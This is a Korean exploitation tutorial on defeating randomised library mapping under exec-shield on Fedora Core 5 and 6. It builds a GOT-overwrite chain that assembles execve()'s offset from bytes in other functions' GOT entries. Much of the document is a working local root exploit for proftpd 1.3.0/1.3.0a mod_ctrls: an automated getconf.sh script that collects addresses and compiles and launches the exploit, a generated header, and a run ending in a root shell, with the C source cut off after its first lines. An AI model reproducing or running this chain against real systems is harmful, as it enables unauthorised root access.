

제목: Fedora Core5,6 시스템 remote 기반 랜덤 맵핑 라이브러리 무력화 기법
      (random library 환경 극복을 통한 one shot exploit 작성하기)

테스트 환경: Fedora Core release 5 (Bordeaux) Linux 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006
             Fedora Core release 6 (Zod) Linux 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006


작성자: 유동훈 - Xpl017Elz <szoahc@hotmail.com>
        http://x82.inetcop.org



* Overview

지금부터 설명하려는 방법은 실전에서 유용하게 활용할 수 있는 랜덤 맵핑 라이브러리 무력화 공격 기법이다.
그렇다 지금까지와 약간 다르게 이 기술은 새롭다. :-} 그리 대단한 방법은 아니지만, 내가 소개했던 FC5,
FC6 기반 dtors, GOT overflow 공격 기법과 함께 응용하여 사용할 수 있는 기술이다. 이 문서를 읽기 전에
먼저, 해당 기술을 살펴주길 바란다.

- Advanced exploitation in exec-shield (Fedora Core case study)

그럼, 현재 FC5, FC6 시스템의 랜덤 맵핑 라이브러리를 간단히 살펴본 후, exploit을 소개하도록 하겠다.

* randomization library

FC 시스템은 전통적인 return-into-libc 공격 기법을 차단하기 위해 library 주소를 매번 실행 시마다
다른 위치를 갖는 16mb(0xffffff) 미만 주소에 맵핑시킨다. 이것은 비교적 효과적이며, remote exploit에서
standalone daemon 과 같이 단 한번의 공격 시도로 죽을 수 있는 daemon application의 보안을 강화하게
되었다. 해커에 의해 DoS가 발생할지라도, 적어도 해커의 code가 실행되는 일은 허락되지 않기 때문이다.
그리고, 이와 유사한 보호 알고리즘은 최근 2007년 초 Unix, Linux OS를 벗어나 Windows OS에도 적용되었다.
(이것은 아직까지 나의 관심대상 밖이므로, 더이상 언급하지 않겠다.)

당신의 시스템 library가 제대로 random하게 맵핑되는지 알기 위해 다음 명령으로 확인해볼 수 있다.

--
[root@localhost tmp]# ldd /usr/bin/[
        linux-gate.so.1 =>  (0x00cc4000)
        libc.so.6 => /lib/libc.so.6 (0x0040d000)
        /lib/ld-linux.so.2 (0x0060e000)
[root@localhost tmp]# ldd /usr/bin/[
        linux-gate.so.1 =>  (0x00232000)
        libc.so.6 => /lib/libc.so.6 (0x00233000)
        /lib/ld-linux.so.2 (0x00557000)
[root@localhost tmp]# ldd /usr/bin/[
        linux-gate.so.1 =>  (0x009e7000)
        libc.so.6 => /lib/libc.so.6 (0x00ba5000)
        /lib/ld-linux.so.2 (0x001fa000)
[root@localhost tmp]#
--

libc.so.6 가상 주소가 매번 다르게 맵핑되는 것을 볼 수 있다. return-into-libc 공격 기법으로는 도저히
한번에 공격을 성공시키기엔 힘들어 보인다. 그럼, exploit을 위한 배경 설명과 exploit 방법을 소개하도록
하겠다.

* 성공적인 exploit을 위한 배경 설명

- dtors, GOT overflow (or overrun, overwrite) in Fedora core 5,6

먼저, dtors, GOT overflow 공격 기법에 대한 기본을 설명한 후, 랜덤 맵핑 library exploit 방법에 대해
배경 기술을 설명하도록 하겠다. 나의 이전 문서에서 설명했듯이 그것은 12byte %esp 레지스터 이동 방법을
통해 공격한다. 복사 함수인 strcpy()와 같은 함수를 통해 원하는 위치에 원하는 값을 덮어씌우는 방법이다.
이것은 nergal에 의해 처음 증명되었으며, 나의 문서를 통해 FC5, FC6에서 응용 공격이 가능하다는 사실을
밝힌 바있다.

--
fedora core 6 glibc 2.5, gcc 4.1.1-30:

	<__do_global_ctors_aux>:
	...
	add    $0x4,%esp
	pop    %ebx		; 이 부분부터 총 12byte %esp 이동
	pop    %ebp
	ret ; pop %eip

+------------------------------+
|     strcpy() function plt    | #1: 첫 번째 복사 함수 사용
+------------------------------+
|  전역 생성자 ctors epilogue  |
+------------------------------+
|  (dtors나 특정 함수 GOT)+0   |: strcpy()'s dest
+------------------------------+
| 덮어씌우고자 하는 문자 1byte |: strcpy()'s src
+------------------------------+
|     strcpy() function plt    | #2: 두 번째 복사 함수 사용
+------------------------------+
|  전역 생성자 ctors epilogue  |
+------------------------------+
|  (dtors나 특정 함수 GOT)+1   |: strcpy()'s dest
+------------------------------+
| 덮어씌우고자 하는 문자 1byte |: strcpy()'s src
+------------------------------+
|     strcpy() function plt    | #3: 세 번째 복사 함수 사용
+------------------------------+
|  전역 생성자 ctors epilogue  |
+------------------------------+
|  (dtors나 특정 함수 GOT)+2   |: strcpy()'s dest
+------------------------------+
| 덮어씌우고자 하는 문자 1byte |: strcpy()'s src
+------------------------------+
...
--

이렇게 구성된 16byte는 원하는 위치에 단 1byte를 복사하는데 사용된다. 즉, dtors나 GOT에 원하는 주소를
넣으려면, 최소 3~4회 strcpy()를 plt를 통해 호출해야 한다는 이야기이다. 최소 48byte(3회) 정도가 원하는
주소를 덮어씌우기 위해 사용된다고 할 수 있다.

이렇게 덮어씌운 주소를 활용하기 위해 임의로 프롤로그 직후의 __do_global_dtors_aux() 위치를 호출하거나,
GOT를 덮어씌운 함수의 PLT를 호출해주면 된다. 이는 결국 현재 사용 중인 %esp 레지스터 위치를 참조하여
원하는 함수 호출을 수행할 수 있도록 해준다.

--
...
+------------------------------+
| PLT, __do_global_dtors_aux() |: 프롤로그를 거친 __do_global_dtors_aux(), 또는 덮어씌워진 GOT에 해당하는 PLT
+------------------------------+
...
+------------------------------+
|     function argument 1      |: %esp 레지스터 근처에 위치하는 함수 인자 #1
+------------------------------+
|     function argument 2      |: %esp 레지스터 근처에 위치하는 함수 인자 #2
+------------------------------+
|     function argument 3      |: %esp 레지스터 근처에 위치하는 함수 인자 #3
+------------------------------+
...
--

결론적으로 %esp 레지스터 근처에 위치하는 값들을 핸들링할 수 있으므로, 쉽게 함수의 인자를 구성해줄 수 있다.

- randomization library 배경 지식

라이브러리 함수의 가상 주소는 항상 실제 바이너리 내에 함수 물리 주소 위치(오프셋)를 기준으로 하여 결정된다.
즉, libc.so 라이브러리가 맵핑된 가상 주소 시작부분과 바이너리 내에 함수의 실제 물리 주소 오프셋을 더하여
계산되는 것이다.

--
a() 함수의 가상 주소 = libc.so.6의 가상 주소 시작 위치 + libc.so.6 내에 a() 함수 실제 물리 주소 오프셋
--

이 내용은 공유 라이브러리 함수 재배치 부분을 공부하면 쉽게 알 수 있다. _dl_fixup() 함수를 자세히 살펴보기
바란다. 위의 계산대로 직접 execve() 함수 주소를 구해보면 다음과 같다.

--
[root@localhost tmp]# objdump -d /lib/libc.so.6 | grep "<execve>:"
0008dc00 <execve>:
[root@localhost tmp]# xxd /lib/libc.so.6 |grep 8dc00
008dc00: 83ec 0889 1c24 8b4c 2410 897c 2404 8b54  .....$.L$..|$..T
[root@localhost tmp]# gdb /lib/libc.so.6 -q
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) x/16b execve
0x8dc00 <execve>:       0x83    0xec    0x08    0x89    0x1c    0x24    0x8b   0x4c
0x8dc08 <execve+8>:     0x24    0x10    0x89    0x7c    0x24    0x04    0x8b   0x54
(gdb) x/w execve
0x8dc00 <execve>:       0x8908ec83
(gdb)
--

먼저, libc.so.6 바이너리 내에 실제 execve() 함수 물리 주소 오프셋은 0x8dc00인 것을 볼 수 있다.
바이너리 내에서 실행 후, 맵핑된 함수의 가상 주소와 비교해보도록 하겠다.

--
[root@localhost tmp]# cat test.c
int main()
{
        return 0x82;
}

[root@localhost tmp]# gcc -o test test.c
[root@localhost tmp]# gdb test -q
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) br main
Breakpoint 1 at 0x8048332
(gdb) r
Starting program: /var/tmp/test
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x08048332 in main ()
(gdb) shell
[root@localhost tmp]# 
 1836 pts/0    00:00:00 test
[root@localhost tmp]# cat /proc/1836/maps | grep libc
00e9d000-00fd4000 r-xp 00000000 fd:00 4251545    /lib/libc-2.5.so <<=== 가상 주소 시작
00fd4000-00fd6000 r-xp 00137000 fd:00 4251545    /lib/libc-2.5.so
00fd6000-00fd7000 rwxp 00139000 fd:00 4251545    /lib/libc-2.5.so
[root@localhost tmp]# exit
exit
(gdb) x 0x00e9d000+0x8dc00 <<=== 가상 주소 시작 부분과 앞서 바이너리 내의 함수 물리 주소 오프셋을 더함.
0xf2ac00 <execve>:      0x8908ec83
(gdb)
--

이렇게, 가상 주소는 항상 변하며, 바이너리 내의 함수 물리 주소 오프셋은 정적인 것을 볼 수 있다.
그럼, 이제 어떤 exploit을 시도해볼 수 있을까?

* randomization library break

공격의 핵심은 이렇다. 우선, 프로그램 바이너리 내에서 execve() 함수의 실제 물리 주소 오프셋과 각 1byte씩
동일한 다른 함수의 물리 주소를 찾는 것이다. 예를 들어 execve() 함수 주소가 0x8dc00 이라면, 이 주소를
이루는 각 1byte씩을 (0x08, 0xdc, 0x00) 물리 주소 오프셋이 동일한 다른 함수 주소에서 얻어올 수 있다.

이렇게 임의로 조합된 물리 주소는 항상 가상 주소 시작 부분과 더해지므로, 구지 랜덤하게 변하는 함수의
전체 가상 주소를 직접 추측할 필요가 없다. 결국, 가상 주소가 늘 랜덤하게 변하더라도 이와 상관없이
원하는 라이브러리 함수를 호출할 수 있는 것이다.

공격자가 매번 변하는 execve() 함수의 주소를 모를지라도 다른 함수 주소를 통해 구해진 물리 주소 오프셋은
가상 주소 시작 부분과 더해져 성공적으로 수행된다. :-}

libc.so.6 바이너리에서 직접 찾아보면 다음과 같다.

--
(execve()>>16)&0xff == 0x08 1byte와 일치하는 함수 목록:

[root@localhost tmp]# objdump -d /lib/libc.so.6 | grep ">:" | grep 0008 | grep -v .L
00080000 <__tzfile_compute>:
00080320 <__tzfile_read>:
00080f60 <__tzfile_default>:
00081170 <getitimer>:
000811b0 <setitimer>:
000811f0 <stime>:
00081230 <dysize>:
00081280 <timegm>:
000812c0 <ftime>:
00081340 <getdate_r>:
000818c0 <getdate>:
00081920 <strptime>:
00081970 <__strptime_internal>:
00084470 <strptime_l>:
000844c0 <strftime>:
00084510 <wcsftime>:
00084560 <__strftime_l>:
000866f0 <__wcsftime_l>:
00088b20 <_nl_init_era_entries>:
00088d90 <_nl_select_era_entry>:
00088de0 <_nl_get_era_entry>:
00088f30 <_nl_parse_alt_digit>:
00089100 <_nl_get_walt_digit>:
00089250 <_nl_get_alt_digit>:
00089410 <_nl_cleanup_time>:
00089480 <ntp_gettime>:
000894e0 <__alloc_dir>:
000895b0 <opendir>:
00089650 <closedir>:
000896a0 <readdir>:
00089770 <readdir_r>:
000898a0 <rewinddir>:
00089920 <seekdir>:
000899a0 <telldir>:
000899b0 <cancel_handler>:
00089a10 <scandir>:
00089c00 <alphasort>:
00089c30 <versionsort>:
00089c60 <__getdents>:
00089d20 <__getdents64>:
00089d80 <__old_getdents64>:
00089f40 <dirfd>:
0008a150 <cancel_handler>:
0008a400 <fdopendir>:
0008a4b0 <getdirentries>:
0008a510 <getdirentries64>:
0008a590 <fgetgrent>:
0008a750 <compat_call>:
0008a980 <internal_getgrouplist>:
0008abf0 <initgroups>:
0008aca0 <getgrouplist>:
0008ad40 <setgroups>:
0008ad90 <getgrent>:
0008ae50 <getgrgid>:
0008afa0 <getgrnam>:
0008b0f0 <putgrent>:
0008b470 <endgrent>:
0008b520 <setgrent>:
0008ba10 <_nss_files_parse_grent>:
0008bcf0 <fgetgrent_r>:
0008bf70 <fgetpwent>:
0008c120 <getpw>:
0008c200 <putpwent>:
0008c340 <getpwent>:
0008c400 <getpwnam>:
0008c550 <getpwuid>:
0008c790 <endpwent>:
0008c840 <setpwent>:
0008cd30 <_nss_files_parse_pwent>:
0008d040 <fgetpwent_r>:
0008d290 <uname>:
0008d2d0 <times>:
0008d310 <__wait>:
0008d3d0 <__waitpid>:
0008d3da <__waitpid_nocancel>:
0008d450 <wait3>:
0008d480 <wait4>:
0008d4d0 <waitid>:
0008d590 <alarm>:
0008d5d0 <sleep>:
0008d840 <pause>:
0008d84a <__pause_nocancel>:
0008d8a0 <__nanosleep>:
0008d8aa <__nanosleep_nocancel>:
0008d920 <__fork>:
0008db90 <__vfork>:
0008dbe4 <_exit>:
0008dc00 <execve>:
0008dc60 <fexecve>:
0008dd60 <execv>:
0008dda0 <execle>:
0008df20 <execl>:
0008e080 <execvp>:
0008e420 <execlp>:
0008e570 <__getpid>:
0008e5b0 <getppid>:
0008e5c0 <getuid>:
0008e5e0 <geteuid>:
0008e600 <getgid>:
0008e620 <getegid>:
0008e640 <getgroups>:
0008e690 <setuid>:
0008e700 <setgid>:
0008e770 <group_member>:
0008e800 <__getpgid>:
0008e840 <__setpgid>:
0008e880 <getpgrp>:
0008e890 <__bsd_getpgrp>:
0008e8b0 <setpgrp>:
0008e8d0 <getsid>:
0008e910 <setsid>:
0008e950 <getresuid>:
0008e9b0 <getresgid>:
0008ea10 <setresuid>:
0008ea90 <setresgid>:
0008eb10 <getlogin>:
0008ebf0 <getlogin_r>:
0008ed60 <setlogin>:
0008ed90 <__statfs_link_max>:
0008ee80 <__statfs_filesize_max>:
0008ef30 <__statfs_symlinks>:
0008efe0 <pathconf>:
0008f1c0 <handle_i486>:
0008f200 <intel_02_known_compare>:
0008f220 <handle_amd>:
0008f350 <__sysconf_check_spec>:
0008f430 <handle_intel>:
0008f920 <__sysconf>:
0008fd10 <fpathconf>:
0008ff10 <glob_pattern_p>:
0008ffb0 <globfree>:

(execve()>>8)&0xff == 0xdc 1byte와 일치하는 함수 목록:

[root@localhost tmp]# objdump -d /lib/libc.so.6 | grep ">:" | grep dc | grep -v .L
000230e0 <__dcgettext>:
00023cc0 <__dcigettext>:
00024470 <dcngettext>:
0005dc70 <ftello64>: // 활용 가능
0005edc0 <_IO_file_seekoff_maybe_mmap>:
0006cdc0 <strtok>:
0006da00 <_wordcopy_fwd_aligned>:
0006db00 <_wordcopy_fwd_dest_aligned>:
0006dc50 <_wordcopy_bwd_aligned>: // 활용 가능
0006dd60 <_wordcopy_bwd_dest_aligned>:
0007dc40 <__offtime>: // 활용 가능
0008dc00 <execve>:
0008dc60 <fexecve>:
000b1dc0 <getopt_long_only>:
000b6dc0 <parse_tilde>:
000bb9e0 <posix_spawn_file_actions_addclose>:
000bdcd0 <openat64>:
000c9dc0 <munmap>:
000cadc0 <hcreate>:
000cdc30 <uselib>: // 활용 가능
000cdc70 <vmsplice>: // 활용 가능
000cdcc0 <accept>: // 활용 가능
000cfdc0 <profil_counter_ushort>:
000dc410 <__res_ninit>:
000dc440 <__res_nclose>:
000dc570 <_res_hconf_trim_domain>:
000dc600 <_res_hconf_trim_domains>:
000dc670 <_res_hconf_reorder_addrs>:
000dc8c0 <arg_bool>:
000dc9d0 <arg_trimdomain_list>:
000dcc30 <do_init>:
000edcf0 <inet6_opt_init>: // 활용 가능
000f2450 <clnt_broadcast>:
000f4dc0 <writetcp>:
000f5dc0 <xdr_u_long>:
000f7dc0 <x_destroy>:
000fdc00 <__nscd_getgrgid_r>: // 활용 가능
000fdc70 <__nscd_getgrnam_r>: // 활용 가능
000fdcc0 <nscd_gethst_r>: // 활용 가능
00101dc0 <dl_iterate_phdr>:
[root@localhost tmp]#

(execve()>>0)&0xff == 0x00 1byte와 일치하는 함수 목록:

함수의 마지막 1byte는 실제 물리 주소 위치(오프셋)와 동일하게 맵핑되므로, 구지 라이브러리 함수 내에서
구해줄 필요가 없다.
--

결론적으로 execve() (0x08dc00) 함수의 물리 주소 오프셋을 완성하기 위해 getuid() (0x08e5c0) 함수의 GOT
1byte와 accept() (0x0cdcc0) 함수의 GOT 1byte, heap 공간의 null 1byte, 총 48byte의 공격 코드를 작성할 수
있다. 이는 앞서 설명했던 GOT overflow exploit을 통해 쉽게 적용할 수 있으며, 이 함수들은 런타임 링커에
의해 심볼이 해석된 후(재배치 이후)부터 활용이 가능하다.

--
* 새로 작성된 공격 코드:

+------------------------------+
|     strcpy() function plt    | #1: 첫 번째 복사 함수 사용
+------------------------------+
|  전역 생성자 ctors epilogue  |
+------------------------------+
|  (__libc_start_main GOT)+0   |: (__libc_start_main()'s GOT>>0)&0xff
+------------------------------+
|       null 1byte pointer     |: ELF header null pointer
+------------------------------+
|     strcpy() function plt    | #2: 두 번째 복사 함수 사용
+------------------------------+
|  전역 생성자 ctors epilogue  |
+------------------------------+
|  (__libc_start_main GOT)+1   |: (__libc_start_main()'s GOT>>8)&0xff
+------------------------------+
| accept()'s GOT 1byte pointer |: (accept()'s GOT>>8)&0xff
+------------------------------+
|     strcpy() function plt    | #3: 세 번째 복사 함수 사용
+------------------------------+
|  전역 생성자 ctors epilogue  |
+------------------------------+
|  (__libc_start_main GOT)+2   |: (__libc_start_main()'s GOT>>16)&0xff
+------------------------------+
| getuid()'s GOT 1byte pointer |: (getuid()'s GOT>>16)&0xff
+------------------------------+
|    __libc_start_main PLT     |
+------------------------------+
|         dummy 4byte          |: call이 아닌 jmp를 통해 호출하므로.
+------------------------------+
|    execve()'s argument #1    |: execve() 함수의 첫 번째 인자
+------------------------------+
|    execve()'s argument #2    |: execve() 함수의 두 번째 인자
+------------------------------+
|    execve()'s argument #3    |: execve() 함수의 세 번째 인자
+------------------------------+

strcpy() 함수를 통해 __libc_start_main() 함수의 GOT를 16mb 미만의 execve() 함수 가상 주소로 변경했으므로,
__libc_start_main() 함수의 PLT 코드를 호출하면, 곧바로 execve() 함수로 jmp 되며, 우리가 배치해준 인자들을
그대로 참고하여 수행된다.
--

* 실제 remote/local exploit

모든 공격 기법은 실제 exploit에 적용되기 위해 개발되어진다. 이 방법 역시 여러 standalone daemon들을
공격하기 위해 고안되고 개발된 것이다.

- proftpd 1.3.0, 1.3.0a mod_ctrls standalone daemon local root exploit

(1) Overview

Core Security Technologies에서는 2006년 12월, mod_ctrls가 활성 중인 proftpd 1.3.0, 1.3.0a 버전에서
stack overflow 취약점이 존재하는 것을 발견하였다.

Advisory URL: http://www.coresecurity.com/?module=ContentMod&action=item&id=1594

내가 관심있는 사항은 최근 몇 년간 exec-shield를 사용하는 RedHat 계열 운영체제에 대한 standalone daemon
exploit이 거의 없다는 사실이다. 게다가 그것은 예전 exploit들에 비해 이식성과 범용성이 떨어지며, 단 한번에
공격을 성공시켜야 되는 exploit 되기 힘든 몇 가지 난관들이 존재하고 있다.

이렇듯 exec-shield를 사용 중인 RedHat 시스템에서 stack 기반 overflow 기법으로 한번에 공격에 성공할 확률은
그리 높지 않다. 이것은 그동안 많은 전문가들에 의해 증명되었고, 그 결과 exec-shield를 사용하는 운영체제의
remote exploit이 줄어든 것도 사실이다. 그럼, 본격적으로 proftpd 취약점에 대해 설명하도록 하겠다.

--enable-ctrls 옵션이 활성된 proftpd 1.3.0과 1.3.0a 버전은 local exploit이 가능하다. 다만, 그것이
standalone daemon을 상대하는 exploit이라는 점에서 remote exploit 만큼 성공시키기 어렵다고 볼 수 있다.
옵션이 활성 상태인지 ftpdctl 명령을 통해 확인 가능하다.

--enable-ctrls 옵션이 활성된 경우:

--
$ /usr/local/bin/ftpdctl -h
usage: ftpdctl [options]
  -h    displays this message
  -s    specify an alternate local socket
  -v    displays more verbose information

$
--

비활성 상태인 경우:

--
$ ./ftpdctl -h
ftpdctl:
  Controls support disabled.
  Please recompile proftpd using --enable-ctrls
$
--

mod_ctrls에 대해 더 자세한 사항은 다음 URL을 참고하기 바란다.

http://www.castaglia.org/proftpd/modules/mod_ctrls.html

(2) Vulnerable Packages

proftpd-1.3.0 (stable)  - mod_ctrls compiled
proftpd-1.3.0a (stable) - mod_ctrls compiled

(3) Exploit

우선, exploit이 가능한 조건은 앞서 설명한데로 configure --enable-ctrls 옵션을 포함하여 설치되야 한다는
점이다. 그리고 공격자는 local 계정을 가지고 있어야 한다. 이것은 디버깅이 가능한 환경이기 때문에 원격에서
daemon을 공격하는 것보다 더 유리한 조건의 local daemon exploit 이라 할 수 있다.

- 주 공격 포인트

1) mod_ctrl 모드로 컴파일된 proftpd daemon은 오직 standalone mode로만 동작한다.
   그래서, 공격자는 단 한 번에 exploit을 성공시켜야 하는 조건이 따른다.

2) daemon의 고유 uid는 root(uid=0)로 수행되지만, euid는 nobody 권한으로 동작한다.
   root로 명령을 수행하려면, setuid() 계열 함수와 함께 수행되야 한다.
   예를 들면, chmod() 함수만으로는 local의 원하는 파일에 setuid 권한 설정이 불가능하다.

3) read() 함수를 통해 내용을 받기 때문에 buffer에 NULL 입력이 가능하다. 비록 NULL 입력이
   가능한 환경일지라도, random 하게 변하는 16mb 미만 주소를 단 한번에 맞춰 공격하는 것은
   사실 상 불가능하다.

4) local의 ftpdctl 명령을 통해 원하는 내용을 입력하는 것이 가능하다.
   그래서, 우리의 exploit은 ftpdctl 명령을 사용할 것이다.

5) 나의 FC5, FC6 시스템에서는 540byte 후에 이전 함수의 %eip 레지스터가 덮어씌워지는 것을
   시험할 수 있었다.

6) proftpd는 다행히 fork() 되는 프로세스의 uid까지 nobody로 만들지 않는다.
   앞서, 2)번 사항을 극복하기 위해 exec family 함수 중 하나인, execve() 함수를 호출하여
   원하는 명령을 root 권한으로 실행할 것이다.

7) (execve()>>16)&0xff 값은 endpwent() 함수의 GOT에서 얻어오고,
   (execve()>>8)&0xff 값은 FC5의 경우 srand() 함수의 GOT, FC6의 경우 accept() 함수의 GOT를
   통해 얻어온다.

당신은 다음과 같이 getconf.sh 스크립트를 통해 자동화된 exploit을 구동시킬 수 있다.

--
[x82@localhost pr0ftpd]$ id
uid=500(x82) gid=500(x82) groups=500(x82)
[x82@localhost pr0ftpd]$ cat /etc/redhat-release
Fedora Core release 6 (Zod)
[x82@localhost pr0ftpd]$ ./getconf.sh
#
# proftpd 1.3.0, 1.3.0a mod_ctrls standalone daemon local root exploit
# by Xpl017Elz
#
# [+] check mod_ctrls install: [OK]
# [+] find os type: {1} - Fedora Core release 6 (Zod)
# [+] check proftpd binary /usr/local/sbin/proftpd: [OK]
# [+] strcpy()'s plt address: 0x0804a75c
# [+] 12byte %esp move code address: 0x804af7f
# [+] __libc_start_main()'s GOT address: 0x080b21d0
# [+] __libc_start_main()'s PLT address: 0x0804a45c
# [+] get 0xfc byte address (FC5): 0x80a4dda
# [+] virtual address start: 0x08048000
# [+] get null byte physical offset: 0x0000120
# [+] srand()'s GOT POINTER address (FC5): 0x080b2114
# [+] accept()'s GOT POINTER address (FC6): 0x080b2238
# [+] endpwent()'s GOT POINTER address: 0x080b2364
# [+] /tmp/ftp.cl path address: 0x80a9fd5
# [+] make header file
# [+] compile pr0ftpd_modctrls.c
# [*] execute pr0ftpd_modctrls
#
# [+] make shell
# [+] make payload
# [*] execute `/usr/local/bin/ftpdctl'
#
ftpdctl: error receiving response: Operation not permitted
#
# [+] remove files
# [*] exploit successfully!
# [*] It's root shell :-}
#
sh-3.1# id
uid=0(root) gid=0(root) groups=500(x82)
sh-3.1#
--

단 한번의 공격으로 쉘 실행에 성공한 것을 볼 수 있다.

(4) 별첨 공격 코드

다음에 소개하는 getconf.sh는 자동 디버깅 스크립트로써, 공격이 가능한 proftpd 버전인지
검사하고 공격에 필요한 데이터를 수집하는 기능을 가지고 있다.

pr0ftpd_modctrls/getconf.sh: --

#!/bin/sh
#
# proftpd 1.3.0, 1.3.0a mod_ctrls standalone daemon local root exploit
# auto debugging script
# --
# exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
# My World: http://x82.inetcop.org
#

echo "#"
echo "# proftpd 1.3.0, 1.3.0a mod_ctrls standalone daemon local root exploit"
echo "# by Xpl017Elz"

FTPD_CTL="/usr/local/bin/ftpdctl"
FTPD_PATH="/usr/local/sbin/proftpd"

echo "#"
echo -n "# [+] check mod_ctrls install: "
CHECK_MOD_CTRLS=`$FTPD_CTL -h | grep -e "usage" -e "options"`
if [ "$CHECK_MOD_CTRLS" = "" ]
then
	echo "[Fail]"
	echo "# [-] cannot install mod_ctrls."
	echo "#"
	exit
fi
echo "[OK]";

echo -n "# [+] find os type: "
OS_TYPE=`cat /etc/redhat-release`
RES1=`echo $OS_TYPE | grep -o 5`
RES2=`echo $OS_TYPE | grep -o 6`
if [ "$RES1" = "5" ];
then
	TYPE_NUM=0
	else if [ "$RES2" = "6" ];
	then
		TYPE_NUM=1
	fi
fi
echo -n "{$TYPE_NUM} - "
echo $OS_TYPE;

echo -n "# [+] check proftpd binary $FTPD_PATH: "
if [ ! -r $FTPD_PATH ]
then
	echo "[Fail]"
	echo "# [-] cannot read $FTPD_PATH."
	echo "#"
	exit
fi
echo "[OK]";

echo -n "# [+] strcpy()'s plt address: "
STRCPY_PLT=`objdump -d $FTPD_PATH | grep -e '<strcpy@plt>:' | awk -F" " {'print "0x"$1'}`
echo $STRCPY_PLT

echo -n "# [+] 12byte %esp move code address: "
MOVE_ESP=`objdump -D $FTPD_PATH | grep -e ret -B 2 | grep -e "pop    %ebx" -A 1 | grep -e "pop    %ebp" -B 1 | head -1 | awk -F" " {'print "0x"$1'} | sed 's/://g'`
echo $MOVE_ESP

echo -n "# [+] __libc_start_main()'s GOT address: "
LIBC_START_MAIN_GOT=`objdump -R $FTPD_PATH |grep __libc_start_main | awk -F" " {'print "0x"$1'}`
echo $LIBC_START_MAIN_GOT

echo -n "# [+] __libc_start_main()'s PLT address: "
LIBC_START_MAIN_PLT=`objdump -d $FTPD_PATH |grep "<__libc_start_main@plt>:" | awk -F" " {'print "0x"$1'}`
echo $LIBC_START_MAIN_PLT

echo -n "# [+] get 0xfc byte address (FC5): "
FC_ADDR=`objdump -d $FTPD_PATH |grep -e" fc 00 " | tail -1 | awk -F" " {'print "0x"$1'} | sed 's/://g'`

cat > gdb_scr << EOF
x/b $FC_ADDR
x/b
x/b
x/b
x/b
x/b
x/b
x/b
EOF

FC5_EXECVE_FC=`gdb $FTPD_PATH -batch -x gdb_scr | grep -e"0xfc" | awk -F" " {'print $1'}`
echo $FC5_EXECVE_FC

VMA_START=0x08048000;
echo "# [+] virtual address start: $VMA_START"

echo -n "# [+] get null byte physical offset: "
NULL_BYTE_OFFSET=`xxd $FTPD_PATH | grep -e": 0000 0000" | head -1 | awk -F":" {'print "0x"$1'}`
#VMA_START=`printf "%d" $VMA_START`
#NULL_BYTE_OFFSET=`printf "%d" $NULL_BYTE_OFFSET`
#VMA_NULL_BYTE=`expr $VMA_START + $NULL_BYTE_OFFSET`
echo $NULL_BYTE_OFFSET

echo -n "# [+] srand()'s GOT POINTER address (FC5): "
SRAND_GOT=`objdump -R $FTPD_PATH | grep srand | awk -F" " {'print "0x"$1'}`
echo $SRAND_GOT

echo -n "# [+] accept()'s GOT POINTER address (FC6): "
ACCEPT_GOT=`objdump -R $FTPD_PATH | grep accept | awk -F" " {'print "0x"$1'}`
echo $ACCEPT_GOT

echo -n "# [+] endpwent()'s GOT POINTER address: "
ENDPWENT_GOT=`objdump -R $FTPD_PATH | grep endpwent | awk -F" " {'print "0x"$1'}`
echo $ENDPWENT_GOT

echo -n "# [+] /tmp/ftp.cl path address: "
FTP_CL_PATH=`objdump -s $FTPD_PATH |grep /tmp|head -1|awk -F" " {'print "0x"$1'}`
if [ "$FTP_CL_PATH" = "" ];
then
	FTP_CL_PATH=`objdump -s $FTPD_PATH |grep ftp.cl|head -1|awk -F" " {'print "0x"$1'}`
	if [ "$FTP_CL_PATH" = "" ];
	then
		echo "[Fail]"
		echo "# [-] /tmp/ftp.cl path not found."
		echo "#"
		exit;
	fi
fi

cat > gdb_scr << EOF
x/s $FTP_CL_PATH
x/s
x/s
x/s
x/s
EOF

FTP_CL_PATH=`gdb $FTPD_PATH -batch -x gdb_scr | grep /tmp/ftp.cl | awk -F" " {'print $1'}`
echo $FTP_CL_PATH;

echo "# [+] make header file"
cat > debuggeerr.h << EOF
#define DEF_TYPE_NUM $TYPE_NUM
#define FTPD_CTL "$FTPD_CTL"
#define FTP_CL_ADDR $FTP_CL_PATH /* /tmp/ftp.cl */
#define STRCPY_PLT $STRCPY_PLT
#define MOVE_ESP $MOVE_ESP
#define DEST_GOT $LIBC_START_MAIN_GOT
#define DEST_PLT $LIBC_START_MAIN_PLT
#define FC5_EXECVE_FC $FC5_EXECVE_FC /* FC5 */
#define NULL_BYTE_PTR $VMA_START + $NULL_BYTE_OFFSET /* FC6 */
#define SRAND_GOT $SRAND_GOT + 0x1 /* FC5 */
#define ACCEPT_GOT $ACCEPT_GOT + 0x1 /* FC6 */
#define ENDPWENT_GOT $ENDPWENT_GOT + 0x2 /* FC5, FC6 */
EOF

echo "# [+] compile pr0ftpd_modctrls.c"
rm -f gdb_scr
gcc -o pr0ftpd_modctrls pr0ftpd_modctrls.c 2>/dev/null
echo "# [*] execute pr0ftpd_modctrls"

./pr0ftpd_modctrls

#
# EOS
#

--

다음은 getconf.sh 스크립트에 의해 구해지는 헤더 내용이다.

pr0ftpd_modctrls/debuggeerr.h: --

#define DEF_TYPE_NUM 1
#define FTPD_CTL "/usr/local/bin/ftpdctl"
#define FTP_CL_ADDR 0x80a9fd5 /* /tmp/ftp.cl */
#define STRCPY_PLT 0x0804a75c
#define MOVE_ESP 0x804af7f
#define DEST_GOT 0x080b21d0
#define DEST_PLT 0x0804a45c
#define FC5_EXECVE_FC 0x80a4dda /* FC5 */
#define NULL_BYTE_PTR 0x08048000 + 0x0000120 /* FC6 */
#define SRAND_GOT 0x080b2114 + 0x1 /* FC5 */
#define ACCEPT_GOT 0x080b2238 + 0x1 /* FC6 */
#define ENDPWENT_GOT 0x080b2364 + 0x2 /* FC5, FC6 */

--

다음 코드는 수집된 debuggeerr.h 헤더 내용을 참고하여 공격하는 main exploit code이다.

pr0ftpd_modctrls/pr0ftpd_modctrls.c: --

/*
**
** proftpd 1.3.0, 1.3.0a mod_ctrls standalone daemon
** local `one shot' exploit in Fedora core 5, 6 exec-shield
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.inetcop.org
**
*/

#include <stdio.h>
